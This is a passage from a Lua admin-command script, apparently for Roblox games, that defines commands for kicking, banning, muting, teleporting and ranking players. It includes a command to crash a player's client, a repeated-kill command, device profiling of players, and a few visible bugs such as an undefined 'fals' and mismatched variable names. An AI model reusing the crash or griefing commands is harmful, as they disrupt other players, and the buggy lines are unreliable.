5657 for _,Player in pairs(Players) do
5658 if not Debt then
5659 Debt = GUI:ShowDebtStats(Player)
5660 else
5661 GUI:ShowDebtStats(Player, Debt)
5662 end
5663 end
5664 end, Http = true};
5665
5666 [{"hud", "target", "profiler"}] = {"player", "Opens a gui HUD that allows player to see player data", 1, "Owner", false, function(Speaker, Rank, Arguments)
5667 local Players = STRING:Scan(Arguments[1], Speaker)
5668 for _,Player in pairs(Players) do
5669 GUI:CreateHUD(Player)
5670 end
5671 end};
5672
5673 [{"nohud", "notarget", "noprofiler", "unhud", "untarget", "unprofiler"}] = {"player", "Removes HUD Gui if it's on the player", 1, "Owner", false, function(Speaker, Rank, Arguments)
5674 local Players = STRING:Scan(Arguments[1], Speaker)
5675 for _,Player in pairs(Players) do
5676 if Player:FindFirstChild("PlayerGui") then
5677 local HUD = Player.PlayerGui:FindFirstChild("Ma".."ke".."r".."m".."odelLu".."a's HUD Gui")
5678 if HUD then HUD:Destroy() end
5679 end
5680 end
5681 end};
5682
5683 [{"vote", "poll"}] = {"player string", "Gives player 30 seconds to answer yes or no to the question string", 2, "Member", false, function(Speaker, Rank, Arguments)
5684 local Players = STRING:Scan(Arguments[1], Speaker)
5685 GUI:Vote(Speaker, Players, Arguments[2], 30)
5686 end};
5687
5688 [{"bomb", "terrorist", "suicide"}] = {"player", "Puts an explosive IED device on player", 1, "Admin", true, function(Speaker, Rank, Arguments)
5689 local Players = STRING:Scan(Arguments[1], Speaker)
5690 for _,Player in pairs(Players) do
5691 CORE:ExecuteResource("Bomb", Player.Character)
5692 end
5693 end};
5694
5695 [{"debug", "d", "regen"}] = {"player", "Respawns player wherever they are at and fixes camera", 1, "Member", false, function(Speaker, Rank, Arguments)
5696 local Players = STRING:Scan(Arguments[1], Speaker)
5697 for _,Player in pairs(Players) do
5698 CORE:ChangeCharacter(Player, Player.UserId, false, Speaker)
5699 CORE:RestoreCamera(Player)
5700 end
5701 end};
5702
5703 [{"debugme", "dm", "regenme"}] = {"player", "Respawns speaker wherever they are at and fixes camera", 0, "Member", false, function(Speaker, Rank, Arguments)
5704 CORE:ChangeCharacter(Speaker, Speaker.UserId, false, Speaker)
5705 CORE:RestoreCamera(Speaker)
5706 end};
5707
5708 [{"tp", "teleport", "tele"}] = {"player1 player2", "Teleports player 1 to player 2", 2, "Member", false, function(Speaker, Rank, Arguments)
5709 local Players1 = STRING:Scan(Arguments[1], Speaker)
5710 local Players2 = STRING:Scan(Arguments[2], Speaker)
5711 for _,Player1 in pairs(Players1) do
5712 if Player1.Character and Player1.Character:FindFirstChild("Torso") then
5713 for _,Player2 in pairs(Players2) do
5714 if Player2.Character and Player2.Character:FindFirstChild("Torso") then
5715 Player1.Character:MoveTo(Player2.Character.Torso.Position)
5716 end
5717 end
5718 end
5719 end
5720 end};
5721
5722 [{"respawn", "resp", "res"}] = {"player", "Respawns player", 1, "Member", false, function(Speaker, Rank, Arguments)
5723 local Players = STRING:Scan(Arguments[1], Speaker)
5724 for _,Player in pairs(Players) do
5725 Player:LoadCharacter()
5726 end
5727 end};
5728
5729 [{"fixcam", "fixcamera"}] = {"player", "Fixes player's camera", 1, "Member", false, function(Speaker, Rank, Arguments)
5730 local Players = STRING:Scan(Arguments[1], Speaker)
5731 for _,Player in pairs(Players) do
5732 CORE:RestoreCamera(Player)
5733 end
5734 end};
5735
5736 [{"jail"}] = {"player", "Puts player in a cell", 1, "Admin", false, function(Speaker, Rank, Arguments)
5737 local Players = STRING:Scan(Arguments[1], Speaker)
5738 for _,Player in pairs(Players) do
5739 CORE:Jail(Player)
5740 end
5741 end};
5742
5743 [{"nojail", "unjail"}] = {"player", "Takes player out of a cell", 1, "Admin", false, function(Speaker, Rank, Arguments)
5744 local Players = STRING:Scan(Arguments[1], Speaker)
5745 for _,Player in pairs(Players) do
5746 CORE:UnJail(Player)
5747 end
5748 end};
5749
5750 [{"say", "speak", "charles", "talk"}] = {"string", "Will have Charles 2.0 say the text string", 1, "Member", false, function(Speaker, Rank, Arguments)
5751 SOUND:SayConvertedText(SOUND:ConvertText(Arguments[1]))
5752 end};
5753
5754 [{"nosay", "nospeak", "nocharles", "notalk", "unsay", "unspeak", "uncharles", "stoptalking", "stopspeak", "stopcharles", "stopsay", "shush", "shutup"}] = {"", "Stops Charles 2.0 talking", 0, "Member", false, function(Speaker, Rank, Arguments)
5755 SOUND:StopSpeaking()
5756 end};
5757
5758 [{"info", "information"}] = {"player", "Show's player's info", 1, "Member", false, function(Speaker, Rank, Arguments)
5759 local Players = STRING:Scan(Arguments[1], Speaker)
5760 local Compile = {}
5761 for Num,Player in pairs(Players) do
5762 local PlayerRank = RANK:GetRank(Player)
5763 local PlayerInfo = ClientInfo[Player.Name]
5764 table.insert(Compile, {"Name: "..Player.Name, "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Player.Name})
5765 table.insert(Compile, "User ID: "..Player.UserId)
5766 table.insert(Compile, "Age: "..STRING:FindAge(Player.AccountAge))
5767 table.insert(Compile, "Rank: "..PlayerRank)
5768
5769 if PlayerInfo.Accelerometer ~= nil then table.insert(Compile, "Has Accelerometer: "..STRING:BoolString(PlayerInfo.Accelerometer)) end
5770 if PlayerInfo.Gyroscope ~= nil then table.insert(Compile, "Has Gyroscope: "..STRING:BoolString(PlayerInfo.Gyroscope)) end
5771 if PlayerInfo.Gamepad ~= nil then table.insert(Compile, "Has Gamepad: "..STRING:BoolString(PlayerInfo.Gamepad)) end
5772 if PlayerInfo.Mouse ~= nil then table.insert(Compile, "Has Mouse: "..STRING:BoolString(PlayerInfo.Mouse)) end
5773 if PlayerInfo.Keyboard ~= nil then table.insert(Compile, "Has Keyboard: "..STRING:BoolString(PlayerInfo.Keyboard)) end
5774 if PlayerInfo.TouchScreen ~= nil then table.insert(Compile, "Has TouchScreen: "..STRING:BoolString(PlayerInfo.TouchScreen)) end
5775 if PlayerInfo.Benchmark then
5776 table.insert(Compile, "BLUE BENCHMARK: "..PlayerInfo.Benchmark)
5777 end
5778 if Num ~= #Players then table.insert(Compile, "-----------------------------") end
5779 end
5780 GUI:ListGui(Speaker, "Information on "..#Players.." player(s)", Compile, "Information", false, false)
5781 end};
5782
5783 [{"loopkill", "lkill", "loopk"}] = {"player num", "Kills player num times", 2, "Admin", false, function(Speaker, Rank, Arguments)
5784 if tonumber(Arguments[2]) then
5785 local Players = STRING:Scan(Arguments[1], Speaker)
5786 for _,Player in pairs(Players) do
5787 coroutine.wrap(function()
5788 if Player.Character then
5789 table.insert(LoopKills, Player.Name)
5790 local Loop = nil
5791 local PrevChar = nil
5792
5793 for i = 1,tonumber(Arguments[2]) do
5794 local Char = Player.Character
5795 if PrevChar and PrevChar ~= Char then
5796 PrevChar:Destroy()
5797 end
5798 PrevChar = Char
5799 local CanDie = true
5800 for _,Name in pairs(LoopKills) do if Name == Player.Name then CanDie = true end end
5801 if CanDie == false then
5802 break
5803 end
5804 ypcall(function() Char.Parent = Server.Lighting end)
5805 wait(0.1)
5806 ypcall(function() Char.Parent = Server.Workspace end)
5807 wait(0.1)
5808 end
5809 end
5810 end)()
5811 end
5812 else
5813 GUI:SendMessage(Speaker, "Cannot execute", "RED Argument 2 is not a valid number", "Error")
5814 end
5815 end};
5816
5817 [{"noloopkill", "nolkill", "noloopk", "unloopkill", "unlkill", "unloopk"}] = {"player num", "Stops any loop kills on a player", 1, "Admin", false, function(Speaker, Rank, Arguments)
5818 local Players = STRING:Scan(Arguments[1], Speaker)
5819 for _,Player in pairs(Players) do
5820 for Num,Name in pairs(LoopKills) do
5821 if Player.Name == Name then
5822 table.remove(LoopKills, Num)
5823 end
5824 end
5825 end
5826 end};
5827
5828 [{"sound", "audio", "music"}] = {"num/string", "Plays the sound ID or string from the soundlist", 1, "Member", false, function(Speaker, Rank, Arguments)
5829 SOUND:PlayGlobalSound(Arguments[1])
5830 end};
5831
5832 [{"nosound", "noaudio", "nomusic", "stopsound", "stopaudio", "stopmusic"}] = {"", "Removes the current sound playing", 0, "Member", false, function(Speaker, Rank, Arguments)
5833 SOUND:StopGlobalSound()
5834 SOUND:ClearInfo()
5835 end};
5836
5837 [{"pitch"}] = {"num", "Sets the pitch of the current sound to num", 1, "Member", false, function(Speaker, Rank, Arguments)
5838 local Pitch = tonumber(Arguments[1])
5839 if not Pitch then Pitch = 1 end
5840 if Sound then
5841 Sound.Pitch = Pitch
5842 end
5843 end};
5844
5845 [{"search", "searchsound", "searchsounds", "searchaudio", "searchmusic", "ss"}] = {"string", "Searches the catalog for the sound string", 1, "Member", false, function(Speaker, Rank, Arguments)
5846 local CloseGui, AddInfo = GUI:LoadGui(Speaker, "Searching for: "..Arguments[1])
5847 local Items = MARKET:SearchItem(9, Arguments[1])
5848 if Items then
5849 if #Items ~= 0 then
5850 local List,Correlate = {},{}
5851 for Num,Info in pairs(Items) do
5852 local Display = " "..Info.Name.." by: "..Info.Creator.." ("..Info.AssetId..")"
5853 table.insert(List, Display)
5854 Correlate[Display] = Info.AssetId
5855 end
5856 CloseGui:Invoke()
5857
5858 local CanClick = true
5859 if Rank == "Member" then CanClick = false end
5860 local Clicked = GUI:ListGui(Speaker, "Search Results: "..Arguments[1], List, "Search", CanClick)
5861 Clicked.Event:connect(function(ClickName)
5862 local OldSoundId = nil
5863 SOUND:StopGlobalSound()
5864 if "rbxassetid://"..Correlate[ClickName] ~= OldSoundID then
5865 SOUND:PlayGlobalSound(Correlate[ClickName])
5866 end
5867 end)
5868 else
5869 CloseGui:Invoke()
5870 GUI:SendMessage(Speaker, "No results", "BLUE No results for "..Arguments[1].." found...", "Information")
5871 end
5872 else
5873 CloseGui:Invoke()
5874 GUI:SendMessage(Speaker, "Cannot get audio", "RED Cannot get audio. Is HttpService enabled?", "Error")
5875 end
5876 end, Http = true};
5877
5878 [{"gun"}] = {"player", "Gives player a gun", 1, "Member", false, function(Speaker, Rank, Arguments)
5879 local Players = STRING:Scan(Arguments[1], Speaker)
5880 for _,Player in pairs(Players) do
5881 if Player.Character then
5882 CORE:ExecuteResource("Gun", Player.Character)
5883 end
5884 end
5885 end};
5886
5887 [{"sink", "pothole", "quicksand"}] = {"player", "Sinks the player", 1, "Member", true, function(Speaker, Rank, Arguments)
5888 local Players = STRING:Scan(Arguments[1], Speaker)
5889 for _,Player in pairs(Players) do
5890 if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Humanoid") then
5891 local Hole = Instance.new("Part", Player.Character) Hole.Name = "Hole" Hole.BrickColor = BrickColor.new("Really black") Hole.Size = Vector3.new(5,1.2,5) Hole.Anchored = true Hole.CanCollide = fals Hole.Locked = true Hole.CFrame = Player.Character.Torso.CFrame * CFrame.new(0,-3.5,0) * CFrame.Angles(0,0,0) Instance.new("CylinderMesh", Hole)
5892 Player.Character.Humanoid.WalkSpeed = 0
5893 Player.Character.Torso.Anchored = true
5894 coroutine.wrap(function()
5895 local OldCFrame = Player.Character.Torso.CFrame
5896 for i = 0,8,0.1 do
5897 Player.Character.Torso.CFrame = OldCFrame * CFrame.new(0,-i,0)
5898 wait()
5899 end
5900 Player.Character.Torso.Anchored = false
5901 Player.Character:BreakJoints()
5902 CORE:InvisiblePlayer(Player)
5903 end)()
5904 end
5905 end
5906 end};
5907
5908 [{"freeze", "anchor"}] = {"player", "Freezes player in place", 1, "Member", false, function(Speaker, Rank, Arguments)
5909 local Players = STRING:Scan(Arguments[1], Speaker)
5910 for _,Player in pairs(Players) do
5911 CORE:AnchorPlayer(Player)
5912 end
5913 end};
5914
5915 [{"nofreeze", "unfreeze", "noanchor", "unanchor", "thaw"}] = {"player", "Unfreezes player", 1, "Member", false, function(Speaker, Rank, Arguments)
5916 local Players = STRING:Scan(Arguments[1], Speaker)
5917 for _,Player in pairs(Players) do
5918 CORE:UnanchorPlayer(Player)
5919 end
5920 end};
5921
5922 [{"invisible", "invis"}] = {"player", "Makes player invisible", 1, "Member", false, function(Speaker, Rank, Arguments)
5923 local Players = STRING:Scan(Arguments[1], Speaker)
5924 for _,Player in pairs(Players) do
5925 CORE:InvisiblePlayer(Player)
5926 end
5927 end};
5928
5929 [{"visible", "vis"}] = {"player", "Makes player visible", 1, "Member", false, function(Speaker, Rank, Arguments)
5930 local Players = STRING:Scan(Arguments[1], Speaker)
5931 for _,Player in pairs(Players) do
5932 CORE:VisiblePlayer(Player)
5933 end
5934 end};
5935
5936 [{"asteroid", "comet", "meteor", "meteorite"}] = {"player", "Shoots an asteroid at player", 1, "Member", true, function(Speaker, Rank, Arguments)
5937 local Players = STRING:Scan(Arguments[1], Speaker)
5938 for _,Player in pairs(Players) do
5939 if Player.Character and Player.Character:FindFirstChild("Torso") then
5940 local Ast = Instance.new("Part", Server.Workspace) Ast.Name = "Asteroid" Ast.Position = Player.Character.Torso.Position + Vector3.new(0,500,0) Ast.Size = Vector3.new(12,12,12)
5941 local Mesh = Instance.new("SpecialMesh", Ast) Mesh.MeshId = "rbxassetid://1290033" Mesh.Scale = Vector3.new(6.2,6.2,6.2) Mesh.TextureId = "rbxassetid://1290030"
5942 local Fire = Instance.new("Fire", Ast) Fire.Heat = 25 Fire.Size = 30
5943 local Smoke = Instance.new("Smoke", Ast) Smoke.RiseVelocity = 10 Smoke.Size = 10
5944 local BoomSound = SOUND:MakeSound(Ast, 188590169, 1, 1)
5945 local Fly = SOUND:MakeSound(Ast, 179438534, 1, 1, true)
5946 Fly:Play()
5947 local Touched = false
5948 coroutine.wrap(function()
5949 repeat wait(0.1)
5950 Ast.Position = Vector3.new(Player.Character.Torso.Position.X, Ast.Position.Y, Player.Character.Torso.Position.Z)
5951 until not Ast or Ast.Parent == nil or Touched == true
5952 end)()
5953 Ast.Touched:connect(function(Part)
5954 if Touched == false then
5955 Touched = true
5956 Part:BreakJoints()
5957 local Boom = Instance.new("Explosion", Workspace)
5958 Boom.Position = Ast.Position
5959 Boom.BlastPressure = 1000000
5960 Boom.BlastRadius = 30
5961 Fire.Heat = 0
5962 Smoke.RiseVelocity = 0
5963 Fly:Stop()
5964 BoomSound:Play()
5965 coroutine.wrap(function()
5966 wait(3)
5967 BoomSound:Stop()
5968 if Ast and Ast.Parent ~= nil then
5969 Ast:Destroy()
5970 end
5971 end)()
5972 end
5973 end)
5974 end
5975 end
5976 end};
5977
5978 [{"kick"}] = {"player", "Will kick player out of the server", 1, "Admin", false, function(Speaker, Rank, Arguments)
5979 local Success = {}
5980 local Players = STRING:Scan(Arguments[1], Speaker)
5981 for _,Player in pairs(Players) do
5982 local PlayerRank = RANK:GetRank(Player)
5983 if PlayerRank ~= "Owner" and PlayerRank ~= "Admin" then
5984 CORE:Kick(Player)
5985 table.insert(Success, Player)
5986 end
5987 end
5988 REMOTE:SendHttpLog(Speaker.Name.." kicked "..CORE:UnpackPlayers(Success), "INFORMATION")
5989 end};
5990
5991 [{"ban"}] = {"player", "Will ban player and will be unable to join", 1, "Admin", false, function(Speaker, Rank, Arguments)
5992 local Success = {}
5993 local Players = STRING:Scan(Arguments[1], Speaker)
5994 for _,Player in pairs(Players) do
5995 local PlayerRank = RANK:GetRank(Player)
5996 if PlayerRank ~= "Owner" and PlayerRank ~= "Admin" then
5997 RANK:RemoveRank(Player)
5998 table.insert(Settings.Ranks.Banned, Player.Name)
5999 CORE:Kick(Player)
6000 table.insert(Success, Player)
6001 end
6002 end
6003 REMOTE:SendHttpLog(Speaker.Name.." banned "..CORE:UnpackPlayers(Success), "WARNING")
6004 end};
6005
6006 [{"crash"}] = {"player", "Will crash player with a painful BSOD", 1, "Owner", false, function(Speaker, Rank, Arguments)
6007 local Success = {}
6008 local Players = STRING:Scan(Arguments[1], Speaker)
6009 for _,Player in pairs(Players) do
6010 local PlayerRank = RANK:GetRank(Player)
6011 if PlayerRank ~= "Owner" then
6012 RANK:RemoveRank(Player)
6013 table.insert(Settings.Ranks.Crashed, Player.Name)
6014 CORE:Crash(Player)
6015 table.insert(Success, Player)
6016 end
6017 end
6018 REMOTE:SendHttpLog(Speaker.Name.." crashed "..CORE:UnpackPlayers(Success), "INFORMATION")
6019 end};
6020
6021 [{"mute"}] = {"player", "Makes player unable to talk", 1, "Owner", false, function(Speaker, Rank, Arguments)
6022 local Success = {}
6023 local Players = STRING:Scan(Arguments[1], Speaker)
6024 for _,Player in pairs(Players) do
6025 local PlayerRank = RANK:GetRank(Player)
6026 if PlayerRank ~= "Owner" then
6027 RANK:RemoveRank(Player)
6028 table.insert(Settings.Ranks.Muted, Player.Name)
6029 GUI:CoreGui(Player, "Chat", false)
6030 table.insert(Success, Player)
6031 end
6032 end
6033 REMOTE:SendHttpLog(Speaker.Name.." has muted "..CORE:UnpackPlayers(Success), "INFORMATION")
6034 end};
6035
6036 [{"noadmin", "unadmin", "nomember", "unmember", "nomem", "unmem", "noowner", "unowner", "noown", "unown", "nocrash", "uncrash", "noban", "unban", "nomute", "unmute", "derank"}] = {"player", "Removes whatever rank player has(if your rank is sufficient enough to override player's)", 1, "Admin", false, function(Speaker, Rank, Arguments)
6037 local Players = STRING:Scan(Arguments[1], Speaker)
6038 if #Players > 0 then
6039 local Success = {}
6040 for _,Player in pairs(Players) do
6041 local RankName,RankNum = RANK:GetRank(Player)
6042 if RankNum < RANK:ConvertRank(Rank) or RANK:IsSupremeOwner(Speaker) then
6043 if not RANK:IsSupremeOwner(Player) then
6044 if RankName == "Muted" then
6045 GUI:CoreGui(Player, "Chat", true)
6046 end
6047 if RankNum > 0 then
6048 GUI:TellNotAdmin(Player)
6049 end
6050 RANK:RemoveRank(Player)
6051 table.insert(Success, Player)
6052 end
6053 end
6054 end
6055 REMOTE:SendHttpLog(Speaker.Name.." has unranked "..CORE:UnpackPlayers(Players), "INFORMATION")
6056 else
6057 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6058 if Player then
6059 local RankNum = RANK:ConvertRank(PlayerRank)
6060 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6061 if not RANK:IsSupremeOwner(Player) then
6062 RANK:RemoveRank(Player)
6063 REMOTE:SendHttpLog(Speaker.Name.." has unranked "..Player, "INFORMATION")
6064 end
6065 end
6066 end
6067 end
6068 end};
6069
6070 [{"member", "mem"}] = {"player", "Adds player to the member list", 1, "Admin", false, function(Speaker, Rank, Arguments)
6071 local Players = STRING:Scan(Arguments[1], Speaker)
6072 if #Players > 0 then
6073 local Success = {}
6074 for _,Player in pairs(Players) do
6075 local PlayerRank,RankNum = RANK:GetRank(Player)
6076 if RANK:ConvertRank(Rank) > RankNum or RANK:IsSupremeOwner(Speaker) and not RANK:IsSupremeOwner(Player) then
6077 RANK:RemoveRank(Player)
6078 table.insert(Settings.Ranks.Member, Player.Name)
6079 GUI:TellAdmin(Player)
6080 table.insert(Success, Player)
6081 end
6082 end
6083 REMOTE:SendHttpLog(Speaker.Name.." has membered "..CORE:UnpackPlayers(Success), "INFORMATION")
6084 else
6085 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6086 if Player then
6087 local RankNum = RANK:ConvertRank(PlayerRank)
6088 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6089 if not RANK:IsSupremeOwner(Player) then
6090 RANK:RemoveRank(Player)
6091 table.insert(Settings.Ranks.Member, Player)
6092 end
6093 end
6094 else
6095 RANK:RemoveRank(Arguments[1])
6096 table.insert(Settings.Ranks.Member, Arguments[1])
6097 end
6098 end
6099 end};
6100
6101 [{"admin", "adm"}] = {"player", "Adds player to the admin list", 1, "Owner", false, function(Speaker, Rank, Arguments)
6102 local Players = STRING:Scan(Arguments[1], Speaker)
6103 if #Players > 0 then
6104 local Success = {}
6105 for _,Player in pairs(Players) do
6106 local PlayerRank,RankNum = RANK:GetRank(Player)
6107 if RANK:ConvertRank(Rank) > RankNum or RANK:IsSupremeOwner(Speaker) and not RANK:IsSupremeOwner(Player) then
6108 RANK:RemoveRank(Player)
6109 table.insert(Settings.Ranks.Admin, Player.Name)
6110 GUI:TellAdmin(Player)
6111 table.insert(Success, Player)
6112 end
6113 end
6114 REMOTE:SendHttpLog(Speaker.Name.." has admined "..CORE:UnpackPlayers(Success), "INFORMATION")
6115 else
6116 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6117 if Player then
6118 local RankNum = RANK:ConvertRank(PlayerRank)
6119 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6120 if not RANK:IsSupremeOwner(Player) then
6121 RANK:RemoveRank(Player)
6122 table.insert(Settings.Ranks.Admin, Player)
6123 end
6124 end
6125 else
6126 RANK:RemoveRank(Arguments[1])
6127 table.insert(Settings.Ranks.Admin, Arguments[1])
6128 end
6129 end
6130 end};
6131
6132 [{"owner", "own"}] = {"player", "Adds player to the owner list(Speaker must be game owner)", 1, "Owner", false, function(Speaker, Rank, Arguments)
6133 local Players = STRING:Scan(Arguments[1], Speaker)
6134 if RANK:IsSupremeOwner(Speaker) then
6135 if #Players > 0 then
6136 local Success = {}
6137 for _,Player in pairs(Players) do
6138 if not RANK:IsSupremeOwner(Player) then
6139 RANK:RemoveRank(Player)
6140 table.insert(Settings.Ranks.Owner, Player.Name)
6141 GUI:TellAdmin(Player)
6142 table.insert(Success, Player)
6143 end
6144 end
6145 REMOTE:SendHttpLog(Speaker.Name.." has ownered "..CORE:UnpackPlayers(Success), "INFORMATION")
6146 else
6147 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6148 if Player then
6149 local RankNum = RANK:ConvertRank(PlayerRank)
6150 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6151 if not RANK:IsSupremeOwner(Player) then
6152 RANK:RemoveRank(Player)
6153 table.insert(Settings.Ranks.Owner, Player)
6154 end
6155 end
6156 else
6157 RANK:RemoveRank(Arguments[1])
6158 table.insert(Settings.Ranks.Owner, Arguments[1])
6159 end
6160 end
6161 end
6162 end};
6163
6164 [{"admins", "adminlist"}] = {"", "Lists all admins in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
6165 local TableStorage = {}
6166 for _,Obj in pairs(Settings.Ranks.Member) do table.insert(TableStorage, Obj..": Member") end
6167 for _,Obj in pairs(Settings.Ranks.Admin) do table.insert(TableStorage, Obj..": Admin") end
6168 for _,Obj in pairs(Settings.Ranks.Owner) do table.insert(TableStorage, "BOLD: "..Obj..": Owner") end
6169 GUI:ListGui(Speaker, "Admin List", TableStorage, 45961462)
6170 end};
6171
6172 [{"serveradmins", "sa"}] = {"", "Lists all admins in the server", 0, "Member", false, function(Speaker, Rank, Arguments)
6173 local TableStorage = {}
6174 for _,Player in pairs(Server.Players:GetChildren()) do
6175 local ValidAdmin,PlayerRank = RANK:IsAdmin(Player)
6176 if ValidAdmin then
6177 if PlayerRank == "Owner" then
6178 table.insert(TableStorage, "BOLD: "..Player.Name..": Owner")
6179 else
6180 table.insert(TableStorage, Player.Name..": "..PlayerRank)
6181 end
6182 end
6183 end
6184 GUI:ListGui(Speaker, "Server admin List", TableStorage, 76198987)
6185 end};
6186
6187 [{"bans", "banlist"}] = {"", "Lists all players who've been banned", 0, "Member", false, function(Speaker, Rank, Arguments)
6188 GUI:ListGui(Speaker, "Ban List", Settings.Ranks.Banned, 163337795)
6189 end};
6190
6191 [{"crashes", "crashlist"}] = {"", "Lists all players who've been crashed", 0, "Member", false, function(Speaker, Rank, Arguments)
6192 GUI:ListGui(Speaker, "Crash List", Settings.Ranks.Crashed, 35480917)
6193 end};
6194
6195 [{"mutes", "muted", "mutelist"}] = {"", "Lists all players who've been muted", 0, "Member", false, function(Speaker, Rank, Arguments)
6196 GUI:ListGui(Speaker, "Mute List", Settings.Ranks.Muted, 202000870)
6197 end};
6198
6199 [{"exiles", "exilelist"}] = {"", "Lists all the exiled players(banned, crashed, muted) in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
6200 local TableStorage = {}
6201 for _,Obj in pairs(Settings.Ranks.Banned) do table.insert(TableStorage, Obj..": Banned") end
6202 for _,Obj in pairs(Settings.Ranks.Crashed) do table.insert(TableStorage, Obj..": Crashed") end
6203 for _,Obj in pairs(Settings.Ranks.Muted) do table.insert(TableStorage, Obj..": Muted") end
6204 GUI:ListGui(Speaker, "Exile List", TableStorage, 132769258)
6205 end};
6206
6207 [{"ranked", "ranks", "ranklist"}] = {"", "Lists all the players ranked in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
6208 local TableStorage = {}
6209 for PlayerRank,PlayerNames in pairs(Settings.Ranks) do
6210 for Num,PlayerName in pairs(PlayerNames) do
6211 if PlayerRank == "Owner" then
6212 table.insert(TableStorage, "BOLD: "..PlayerName..": Owner")
6213 else
6214 table.insert(TableStorage, PlayerName..": "..PlayerRank)
6215 end
6216 end
6217 end
6218 GUI:ListGui(Speaker, "Rank List", TableStorage, 21341765)
6219 end};
6220
6221 [{"logs", "commandlogs", "cmdlogs"}] = {"", "Lists all the logs of executed commands", 0, "Admin", false, function(Speaker, Rank, Arguments)
6222 GUI:ListGui(Speaker, "Command Logs", CORE:ReverseTable(CommandLogs), "Log")
6223 end};
6224
6225 [{"chatlogs"}] = {"", "Lists all the logs of players who've chatted", 0, "Admin", false, function(Speaker, Rank, Arguments)
6226 GUI:ListGui(Speaker, "Chat Logs", CORE:ReverseTable(ChatLogs), "Log")
6227 end};
6228
6229 [{"irclogs"}] = {"", "Lists all the logs of irc output", 0, "Admin", false, function(Speaker, Rank, Arguments)
6230 GUI:ListGui(Speaker, "IRC Logs", CORE:ReverseTable(IRC.Logs), "Log")
6231 end};
6232
6233 [{"exploitlogs"}] = {"", "Lists all the logs of exploits", 0, "Admin", false, function(Speaker, Rank, Arguments)
6234 local ExploitLog = Server.GDS:GetAsync("ExploitLog")
6235 if type(ExploitLog) ~= "table" then ExploitLog = {} end
6236 GUI:ListGui(Speaker, "Exploit Logs", ExploitLog, "Log")
6237 end};
6238
6239 [{"clearlogs", "clearcommandlogs", "clearcmdlogs"}] = {"", "Clears all the logs of executed commands", 0, "Owner", false, function(Speaker, Rank, Arguments)
6240 CommandLogs = {}
6241 end};
6242
6243 [{"clearchatlogs"}] = {"", "Clears all the logs of players who've chatted", 0, "Owner", false, function(Speaker, Rank, Arguments)
6244 ChatLogs = {}
6245 end};
6246
6247 [{"clearirclogs"}] = {"", "Clears all the logs of irc output", 0, "Owner", false, function(Speaker, Rank, Arguments)
6248 IRC.Logs = {}
6249 end};
6250
6251 [{"clearalllogs", "resetlogs"}] = {"", "Clears ALL logs (Command, Chat, IRC) but not exploit logs", 0, "Owner", false, function(Speaker, Rank, Arguments)
6252 CommandLogs = {}
6253 ChatLogs = {}
6254 IRC.Logs = {}
6255 end};
6256
6257 [{"clearexploitlogs"}] = {"", "Clears all the logs of exploits", 0, "Admin", false, function(Speaker, Rank, Arguments)
6258 Server.GDS:SetAsync("ExploitLog", {})
6259 end};
6260
6261 [{"soundlist", "musiclist", "audiolist", "songs", "sounds", "musics", "audios"}] = {"", "Lists all the sounds in the global sound list", 0, "Member", false, function(Speaker, Rank, Arguments)
6262 local List,Correlate,SoundName = {},{},{}
6263 for Name,Info in pairs(SoundList) do
6264 local View = "Command Name: "..Name.." | Audio ID: "..Info[1].." | Full Name: "..Info[2]
6265 table.insert(List, View)
6266 Correlate[View] = Info[1]
6267 end
6268
6269 local CanClick = true
6270 if Rank == "Member" then CanClick = false end
6271 local Clicked = GUI:ListGui(Speaker, "Sound List", List, "Sound", CanClick)
6272 Clicked.Event:connect(function(ClickName)
6273 local OldSoundId = nil
6274 SOUND:StopGlobalSound()
6275 if "rbxassetid://"..Correlate[ClickName] ~= OldSoundID then
6276 SOUND:PlayGlobalSound(Correlate[ClickName])
6277 end
6278 end)
6279 end};
6280
6281 [{"syncsoundlist", "syncsounds", "syncaudiolist", "syncaudios", "syncmusiclist", "syncmusics"}] = {"", "Resyncs the global sound list to the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
6282 SOUND:SyncSoundList(Speaker)
6283 end};
6284
6285 [{"cleart", "clearterrain", "cleant", "cleanterrain"}] = {"", "Clears all terrain from the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
6286 local Answer = GUI:PromptMessageWithButtons(Speaker, "Clean Terrain?", "Do you really want to clear all terrain in the server? If there is a lot of terrain this can cause major lag. Continue?", "Question", {"Yes", "No"})
6287 if Answer == "Yes" then
6288 Server.Workspace.Terrain:Clear()
6289 end
6290 end};
6291
6292 [{"clearstamp", "clearstamper", "cleanstamp", "cleanstamper"}] = {"", "Clears all items in workspace that came from the stamper tool (Not terrain)", 0, "Admin", false, function(Speaker, Rank, Arguments)
6293 local Answer = GUI:PromptMessageWithButtons(Speaker, "Clean All Stamper Objects?", "Do you really want to clear all stamper objects in the server, this will clean all bricks/models placed down by stamper and if there's a lot of them it can cause major lag? Continue?", "Question", {"Yes", "No"})
6294 if Answer == "Yes" then
6295 for _,Obj in pairs(Workspace:GetChildren()) do
6296 if Obj:FindFirstChild("RobloxStamper") and Obj:FindFirstChild("RobloxModel") then
6297 Obj:Destroy()
6298 end
6299 end
6300 end
6301 end};
6302
6303 [{"base", "baseplate", "newbase", "makebase", "newbaseplate", "makebaseplate"}] = {"", "Creates a baseplate inside the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
6304 CORE:MakeBase()
6305 end};
6306
6307 [{"addsound", "addaudio", "addmusic"}] = {"num(ID) string", "Will add the song of num(ID) named string to the custom sound list of the game", 2, "Admin", false, function(Speaker, Rank, Arguments)
6308 local CustomSounds = Server.GDS:GetAsync("MML Custom Sounds")
6309 if CustomSounds == nil or type(CustomSounds) ~= "table" then
6310 CustomSounds = {}
6311 end
6312 if tostring(Arguments[1]) then
6313 local Request = MARKET:GetItemInfo(Arguments[1])
